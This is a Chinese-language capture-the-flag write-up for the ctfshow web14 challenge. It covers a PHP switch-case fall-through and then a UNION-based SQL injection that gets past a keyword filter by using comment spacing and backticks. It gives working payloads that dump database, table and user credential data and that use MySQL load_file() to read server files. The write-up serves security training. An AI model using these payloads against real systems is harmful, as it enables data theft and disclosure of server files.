ctfshow_web14------(PHP+switch case 穿透+SQL注入+文件读取)
题目:
解释:$c = intval($_GET['c']); //获取整数值 6
sleep($c);//延迟执行当前脚本若干秒。
提示一下哈没有break会接着执行下面的
但是像是44444,555555,sleep的时间太久
我们用3
进入here_1s_your_f1ag.php是一个查询页面,sql注入
查看源码
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。
查字段数
爆库名
payload:query=-1/**/union/**/select/**/database()
爆表名
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'
爆列名
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema='web'/**/and/**/table_name='content'
爆值
query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
这里没有flag
有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中
如何读取???
mysql提供了读取本地文件的函数load_file()
要权限,用user()看一下权限是root可以用load_file()读
Wappalyzer 识别到 Nginx,网站默认根目录:/var/www/html/。
payload: ?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")/**/#
查看源码
真正的flag找到了
payload:?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")/**/#